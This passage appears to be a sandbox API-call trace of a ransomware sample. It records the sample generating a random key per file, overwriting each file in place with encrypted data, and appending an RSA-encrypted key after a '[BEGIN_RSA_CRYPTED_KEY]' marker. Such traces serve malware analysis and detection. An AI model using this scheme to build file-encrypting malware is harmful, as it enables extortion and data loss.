pszString="Z9ODFftyylSzT9tErHe1kJhdYnPC+kvTB830IBPaxZIeeJP/8dejRWneKjPkn+Q+\neZxDP+cOIgUscUurhyqoY9dt2eQBPsUBQ+pwBxXN5v/e1+vgYi/bt1Pa37tEfiCs\nDNAnDXR3UblLYxBlpTT6zwZnCnTyiF9BkntrIUjnkGHDq/SaR/ua4Ew4VsVVQTEW\n3UJMjb7b6WXkXzLU+Ic4nWvhDBg7NB/x3TYyHIPYQBwu57Xq9HHtfN6C3iGVC1cD\n4d5W6NXaoNw7iS2KF3WkS4pSKSIhtQXty6qcS8HJFe8+CtpNDc6hpgfqC6oEU1NI\nXhtWUkq1DFUusX5bQOkvUg==\n", pcchString=0x2e3f9a8) returned 1 [0213.777] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0213.777] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.777] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.777] CloseHandle (hObject=0x1840) returned 1 [0213.778] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0213.778] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\b5a5b14e0a3c79aaf51623da36a14aec38408c6de44296721210be0ef9dae307", dwFileAttributes=0x80) returned 1 [0213.779] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\b5a5b14e0a3c79aaf51623da36a14aec38408c6de44296721210be0ef9dae307" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\b5a5b14e0a3c79aaf51623da36a14aec38408c6de44296721210be0ef9dae307"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0213.779] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=874103) returned 1 [0213.780] ReadFile (in: hFile=0x1840, lpBuffer=0x67e020, nNumberOfBytesToRead=0xd5677, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x67e020*, lpNumberOfBytesRead=0x2e3f9b4*=0xd5677, lpOverlapped=0x0) returned 1 [0214.560] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-874103, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.560] WriteFile (in: hFile=0x1840, lpBuffer=0x3544020*, nNumberOfBytesToWrite=0xd5677, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3544020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd5677, lpOverlapped=0x0) returned 1 [0214.563] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd5677 [0214.563] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0214.563] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0214.563] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0214.563] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0214.563] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0214.563] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="8LGGOgoF/4WGfg7x1syKuOTFehtUWCtK55usuCKdPjBWd8AsdBgnTSZmHbHjMUM5\ncMyxuuN9peCAH57T8Ng6vRJ4BS4eYYr/7beRi/neU07yxGm78hJZtVDBxtyKh5G8\nTxrFUFiCG6Dn09ZT2D92ZtMN34BjBHOngHtVEnoTbgodcfAuQ6TuDD5dRFOKFIxh\nuzpyYVMJuy4SfcvcIcXVakXrXapYmO/X78qpKfPQRTuz5xtoGCrrJIYOmLSqI+9V\nCkinEPMj4dBzzWUTkgJAffcCrCiSRPpk5wH9q/LKoncpxuajNjymCc/9zXTeBn0Q\ns1eisC4jzdHR8pM8vK1ofQ==\n", pcchString=0x2e3f9a8) returned 1 [0214.563] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0214.563] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0214.563] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0214.564] CloseHandle (hObject=0x1840) returned 1 [0214.565] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0214.565] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\ad274ee5567858fcf370f2c48bca96aeac2e16997b5f0336f992bcaf89460bc9", dwFileAttributes=0x80) returned 1 [0214.565] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\ad274ee5567858fcf370f2c48bca96aeac2e16997b5f0336f992bcaf89460bc9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\ad274ee5567858fcf370f2c48bca96aeac2e16997b5f0336f992bcaf89460bc9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0214.566] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17778) returned 1 [0214.566] ReadFile (in: hFile=0x1840, lpBuffer=0x2f37028, nNumberOfBytesToRead=0x4572, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f37028*, lpNumberOfBytesRead=0x2e3f9b4*=0x4572, lpOverlapped=0x0) returned 1 [0214.606] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-17778, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.606] WriteFile (in: hFile=0x1840, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x4572, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4572, lpOverlapped=0x0) returned 1 [0214.606] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4572 [0214.606] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0214.606] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0214.606] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0214.606] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0214.607] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0214.607] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="k0NjnyIb7JHPQ9lyVftTtWLLDc5hCsCYoF7z8SLJutrJofejQp9NlzvVq698V/VT\nnkpk7L5pq2zA3hARKDI9O0LIVfcu6snzqTq8ewx8NtbrJFzltUnsMhiWNwRSaVcZ\ncEL0M7dY5FpFXHGC/kumsEzBfetrSdMchNQdYBbJwsV4z0cGVKJESHvnicC5lty1\nkvznR390eQrvUJO0ErAKffbz6kwHDqzzn3uwt9tQGmCPzhk7XtUO1nLgrHVVbtTz\njsLyjlzeHy/PhfyiFKdnCAT1RF0jPPDg9RKLTKBylKnDa14QYZMoPsfFK/utvsBO\nE3V2FP1Gpn3H0BJEG5AcoQ==\n", pcchString=0x2e3f9a8) returned 1 [0214.607] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0214.607] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0214.607] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0214.607] CloseHandle (hObject=0x1840) returned 1 [0214.911] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0214.911] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a8448e98bb861babe873fcab168979069cb83b78e54f7545c5a24ad4e03bec0d", dwFileAttributes=0x80) returned 1 [0214.912] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a8448e98bb861babe873fcab168979069cb83b78e54f7545c5a24ad4e03bec0d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a8448e98bb861babe873fcab168979069cb83b78e54f7545c5a24ad4e03bec0d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0214.912] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17471) returned 1 [0214.912] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x443f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x443f, lpOverlapped=0x0) returned 1 [0214.915] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-17471, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.915] WriteFile (in: hFile=0x1840, lpBuffer=0x2f37028*, nNumberOfBytesToWrite=0x443f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f37028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x443f, lpOverlapped=0x0) returned 1 [0214.915] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x443f [0214.915] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0214.915] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0214.915] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0214.915] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0214.916] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0214.916] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="EVW0hnFI9lPpLWbhKM8VZm2JC0RRzxofKSt7lX8SgRne9zR2OoDtbjHPVTFAEGs1\nGkBiGfIo8c/wBvB1IqH+kgFuX94IA/PYovW6A9BH7AVz3AF4lht0vrMU6YDo1lqh\n0dvkJvR7syl8Sx7ChQ4a7LHPJwc3WUI4vpkOhW+kOvcfJDIDagKQS8JzQam8TgzO\nKSwie8sUuKUMieZKQvZ1bCwynynl3DbTmVylsGn2iMKSxQaRRyR4/Ht8a5WTIZHw\n6xFtGvwsT0q1rokdndl8AAaD83FihNaLlErx+ptyftb+7NM3Z9ZFjSMmUkmLJaqS\namY4lYt52OKOt+1JxTEWmg==\n", pcchString=0x2e3f9a8) returned 1 [0214.916] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0214.916] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0214.916] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0214.916] CloseHandle (hObject=0x1840) returned 1 [0214.917] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0214.917] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a5fffa1b9fd3661604defda3ba39b64783eb8dbca44f07565e247c0e9a95eb69", dwFileAttributes=0x80) returned 1 [0214.918] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a5fffa1b9fd3661604defda3ba39b64783eb8dbca44f07565e247c0e9a95eb69" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a5fffa1b9fd3661604defda3ba39b64783eb8dbca44f07565e247c0e9a95eb69"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0214.919] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16790) returned 1 [0214.919] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x4196, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x4196, lpOverlapped=0x0) returned 1 [0215.067] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-16790, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.067] WriteFile (in: hFile=0x1840, lpBuffer=0x2f37028*, nNumberOfBytesToWrite=0x4196, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f37028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4196, lpOverlapped=0x0) returned 1 [0215.068] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4196 [0215.068] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.068] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.068] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0215.068] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0215.068] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0215.068] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="kGpoRnRatAmlHk08OO1YRaWBaReqRhGYJimLl8wzjqjd+R/0tqBJ1tyE9/HJX6I+\nw8J5oqD2v1mjBuZBwOUSsxtDxA2ckSxtZzxqufiu1pflykM7KNIkHR/Si2RWVanb\n5HcH0EbZrgjObRboqQABIRWoIjbrNa4O0Cjg83MQaghnhxHSsFvj/y4d9i28MW8R\nxIi86vTiZ8NDEPqnbavHrSkjAUPprDt8B9arV+UrzzcLJsDbLrUEBwoCNcdCewS2\n/vkPzYUgUqHFyM1Z5uVAl1BS/46wgUVoVFHq9hczFaIEXvl0+ysQQUykoQbR4Oa4\nNCfNxVVbsTAxjQww9DA7gw==\n", pcchString=0x2e3f9a8) returned 1 [0215.068] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0215.068] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.068] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.069] CloseHandle (hObject=0x1840) returned 1 [0215.070] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0215.070] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a4176788f1d009a455bc658550df1111033e891bcb525afa5e9c6a24275482f9", dwFileAttributes=0x80) returned 1 [0215.071] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a4176788f1d009a455bc658550df1111033e891bcb525afa5e9c6a24275482f9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a4176788f1d009a455bc658550df1111033e891bcb525afa5e9c6a24275482f9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0215.071] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17453) returned 1 [0215.071] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x442d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x442d, lpOverlapped=0x0) returned 1 [0215.124] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-17453, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.124] WriteFile (in: hFile=0x1840, lpBuffer=0x2f37028*, nNumberOfBytesToWrite=0x442d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f37028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x442d, lpOverlapped=0x0) returned 1 [0215.125] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x442d [0215.125] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.125] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.125] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0215.125] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0215.125] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0215.125] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="WPe2kcX6Y3UM2+RGz4k9euv/tPTwGrUOI/A5z4Q6ISIS8yj1AgJDj1JAyGUD35oM\nLojO+68KjmYKKQNuPHyDITmOEnSbSN8EFC+hY8jhbClQwb4iNU5LN2AuaMFm+gQa\nO2KFRvkGclyXC40otkWErkF8lYPSbLzeQUVQA4b1l7KGYzB/rRsVD+jOP9yVbFZ0\n9BWKh55G07t6yVgdesq39cYBonm+LuhtgIWRJ74T/1oT3xg+V5LL2X5nZp+I1w0d\nvS4Y1NErN6DmPHDGAdvnq75fvy6WPQh/sDa4WQixMPh8kvWaWGLE3U6Kc5LiEZuh\n7PRpDf8oztjTeYJW4+KOcA==\n", pcchString=0x2e3f9a8) returned 1 [0215.125] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0215.125] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.125] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.126] CloseHandle (hObject=0x1840) returned 1 [0215.127] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0215.127] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a2156fb13d34661beff383ea7416e2848070379913efce79dd7d68cdcf1f771e", dwFileAttributes=0x80) returned 1 [0215.128] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a2156fb13d34661beff383ea7416e2848070379913efce79dd7d68cdcf1f771e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a2156fb13d34661beff383ea7416e2848070379913efce79dd7d68cdcf1f771e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0215.128] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16754) returned 1 [0215.128] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x4172, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x4172, lpOverlapped=0x0) returned 1 [0215.215] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-16754, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.216] WriteFile (in: hFile=0x1840, lpBuffer=0x2f37028*, nNumberOfBytesToWrite=0x4172, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f37028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4172, lpOverlapped=0x0) returned 1 [0215.216] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4172 [0215.216] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.216] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.216] CryptEncrypt (in: 